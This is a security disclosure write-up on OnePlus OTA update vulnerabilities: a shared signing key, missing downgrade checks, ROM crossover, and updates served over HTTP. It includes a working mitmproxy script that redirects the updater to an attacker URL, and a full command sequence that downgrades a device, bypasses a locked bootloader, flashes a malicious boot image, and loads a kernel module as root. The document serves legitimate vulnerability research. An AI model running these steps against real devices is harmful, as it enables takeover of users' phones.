First, let’s examine the RSA modulus of various OnePlus OTAs:

Device ROM RSA modulus (n)
OnePlus 3T OxygenOS 4.1.3 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
OnePlus 3 OxygenOS 4.1.3 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
OnePlus 2 OxygenOS 3.5.8 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
OnePlus X OxygenOS 3.1.4 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
OnePlus 1 OxygenOS 2.1.4 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
OnePlus 3T HydrogenOS 3.0.0 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
OnePlus 3 HydrogenOS 3.0.0 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
OnePlus 2 HydrogenOS 2.5.1 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
OnePlus X HydrogenOS 1.2.0 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873

We can clearly see that all OnePlus OTAs of different ROMs and products are signed by the same key. Therefore, the aforementioned vulnerabilities could only be prevented by their updater-script.

Let’s examine updater-script of the OnePlus 3T OxygenOS 4.1.3 OTA:

getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
  abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]

Now let’s examine updater-script of an older OnePlus 3T OxygenOS OTA. For example, 4.0.0’s:

getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
  abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]

Therefore, in contrast to Google’s OTAs, the OnePlus ones do not verify the timestamp of the installed images, and together with the fact that the SW_ID.VERSION OU field of the relevant images is set to 0, we have a critical Downgrade vulnerability - CVE-2017-5948.

Let’s examine updater-script of the OnePlus 3T HydrogenOS 3.0.0 OTA:

getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
  abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]

Therefore, HydrogenOS can be installed over OxygenOS and vice versa - Same Product ROM Crossover Vulnerability - CVE-2017-8850.

Finally, let’s examine updater-script of the latest OnePlus X OxygenOS OTA:

getprop("ro.build.product") == "OnePlus" || abort("This package is for \"OnePlus\" devices; this is a \"" + getprop("ro.build.product") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/platform/msm_sdcc.1/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat");

Let’s examine updater-script of the OnePlus One OxygenOS OTA:

getprop("ro.build.product") == "OnePlus" || getprop("ro.build.product") == "ONE" || abort("This package is for \"OnePlus\" devices; this is a \"" + getprop("ro.build.product") + "\".");
ifelse(is_mounted("/system"), unmount("/system"));
mount("ext4", "EMMC", "/dev/block/platform/msm_sdcc.1/by-name/system", "/system", "");
unmount("/system");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");

Therefore we can deduce that OnePlus One OTAs can be installed over OnePlus X and vice versa - Different Product ROM Crossover - CVE-2017-8851. By exploiting this vulnerability, installing the OnePlus One OxygenOS OTA over OnePlus X, our device had got into a boot loop (it rebooted once the platform was up), which was only remedied by a factory reset.

The only remaining question left is how the attacker can push those OTAs to the device.

Attack Vector 1: Man-in-the-Middle (MiTM)

Interestingly, Sagi Kedmi and also independently the community, have discovered that OnePlus pushes the signed-OTA over HTTP, thus it enables a trivial MiTM attack. We have filed CVE-2016-10370 for this, as there is absolutely no reason not to use TLS, unnecessarily increasing the attack surface, as we can see next.

OxygenOS/HydrogenOS sends the following JSON request to http://otac.h2os.com/post/Query_Update or to http://i.ota.coloros.com/post/Query_Update in order to check if a new OTA is available:

{
    "beta": "0",
    "imei": "<IMEI>",
    "isOnePlus": "1",
    "language": "en",
    "mobile": "ONEPLUS A3010",
    "mode": "0",
    "ota_version": "<CURRENT_VERSION>",
    "type": "1",
    "version": "1"
}

For example, on a OnePlus 3T device running OxygenOS 4.1.1 this results in the following response, announcing that a 4.1.3 OTA is available:

{
    "active_url": "http://otafsc1.h2os.com/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
    "description": "https://otafsc.h2os.com/html/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011_version_EN_1492072442240.html",
    "down_url": "http://otafsc.h2os.com/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
    "extract": "#OS Version: OnePlus3TOxygen_28_170411\n##WHAT'S NEW\n\\\n\u2022 Upgraded Android 7.1.1 \n\\\n\u2022 Added expanded screenshots \n\\\n\u2022 Improved picture taking of moving objects\n  with blur reduction \n\\\n\u2022
Improved video stability when recording\n\\\n\u2022 Improved WiFI connectivity \u00a0\n\\\n\u2022 Improved bluetooth connectivity \n\\\n\u2022 Fixed Instagram swiping bug\n\\\n\u2022 Fixed hardware
buttons\u00a0malfunction\u00a0bug\n\\\n\u2022 Increased system stability\n\\\n\u2022 General bug fixes\n  [www.oneplus.net](http://www.oneplus.net/)",
    "new_version": "OnePlus3TOxygen_28.A.51_GLO_051_1704112011",
    "patchFilePath": "/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
    "patch_md5": "031507863135b7008c2651ea461d0e9e",
    "patch_name": "OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
    "patch_size": "1461187808",
    "recommend": "100",
    "share": "\u8bf7\u7528\u82f1\u8bed\u8bbe\u7f6e\u5206\u4eab\u5185\u5bb9",
    "type": "1",
    "version_name": "OnePlus3TOxygen_28_1704112011",
    "wipe": "0"
}

This JSON response causes the updater app to display the following UI: OnePlus OTA Update Consider the following mitmproxy script:

URL = "<url>"
MD5 = "<md5>"
SIZE= "<size>"

def response(flow):
  if "h2os" in flow.request.pretty_url or "coloros" in flow.request.pretty_url:
    print(flow.request.pretty_url)
    flow.response.status_code=200
    flow.response.headers["Content-Type"] = "application/json;charset=UTF-8"
    flow.response.headers["Connection"] = "close"
    flow.response.content = b"{\"type\":\"1\",\
                               \"wipe\":\"0\",\
                               \"new_version\":\"foo\",\
                               \"version_name\":\"foo!\",
                               \"description\":\"foo\",\
                               \"extract\":\"foo\",\
                               \"patch_name\":\"foo.zip\",\
                               \"patch_md5\":\"%s\",\
                               \"patch_size\":\"%s\",\
                               \"down_url\":\"%s\",\
                               \"active_url\":\"%s\",\
                               \"recommend\":\"100\",\
                               \"share\":\"foo\"}" % (MD5, SIZE, URL, URL)

This will make the Updater app download the OTA from the attacker’s provided URL, and will reboot into recovery when the user clicks on the restart button. OnePlus OTA MiTM Attack

Attack Vector 2: Sideloading via Recovery

In addition to the MiTM attack vector, a physical attacker may also exploit this vulnerability, by rebooting into recovery and sideloading the OTA. Please note that as for OnePlus 3/3T, this vector is blocked if Secure Start-up is enabled (i.e. Full Disk Encryption (FDE) with user credentials).

The following shows how we, by exploiting CVE-2017-5948, downgrade OnePlus 3T running OxygenOS 4.1.3 to 4.0.1 in order to exploit CVE-2017-5626 and gain a root shell and load an arbitrary kernel module.

First, let’s get some info regarding the running OS: (Not required for the attack.)

OnePlus3T:/ $ getprop ro.oxygen.version
getprop ro.oxygen.version
4.1.3

Now, the attacker reboots the device to recovery mode, and pushes the 4.0.1 OTA (exploiting CVE-2017-5948):

$ adb sideload OnePlus3TOxygen_28_OTA_037_all_1701041831_a2ba632ce9.zip
loading: 'OnePlus3TOxygen_28_OTA_037_all_1701041831_a2ba632ce9.zip'...
connecting...
Total xfer: 2.00x
$ 

Next, the attacker exploits CVE-2017-5626 in order to replace the boot partition, even though the bootloader is locked:

$ fastboot oem device-info
...
(bootloader)    Device tampered: false
(bootloader)    Device unlocked: false
(bootloader)    Device critical unlocked: false
(bootloader)    Charger screen enabled: false
(bootloader)    Display panel:
(bootloader)    Have console: false
(bootloader)    Selinux type: <none>
(bootloader)    Boot_mode: normal
(bootloader)    Kmemleak_detect: false
(bootloader)    force_training: false
OKAY [  0.120s]
finished. total time: 0.120s

$ fastboot flash boot evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.404s]
writing 'boot'...
FAILED (remote: Partition flashing is not allowed)
finished. total time: 0.424s

$ fastboot oem 4F500301
...
OKAY [  0.020s]
finished. total time: 0.020s

$ fastboot flash boot evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.399s]
writing 'boot'...
OKAY [  0.136s]
finished. total time: 0.535s

Finally, the attacker gains a root shell and inserts a malicious LKM. Notice that we are at OxygenOS 4.0.1.

$ fastboot reboot
$ adb push evil.ko /data/local/tmp
$ adb shell
OnePlus3T:/ # getprop ro.oxygen.version
getprop ro.oxygen.version
4.0.1
OnePlus3T:/ # id
id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
OnePlus3T:/ # getenforce
getenforce
Permissive
OnePlus3T:/ # insmod /data/local/tmp/evil.ko
insmod /data/local/tmp/evil.ko
OnePlus3T:/ # dmesg | grep -i hello
dmesg | grep -i hello
[20170511_08:11:09.895120]@3 Hello from Evil LKM!
OnePlus3T:/ #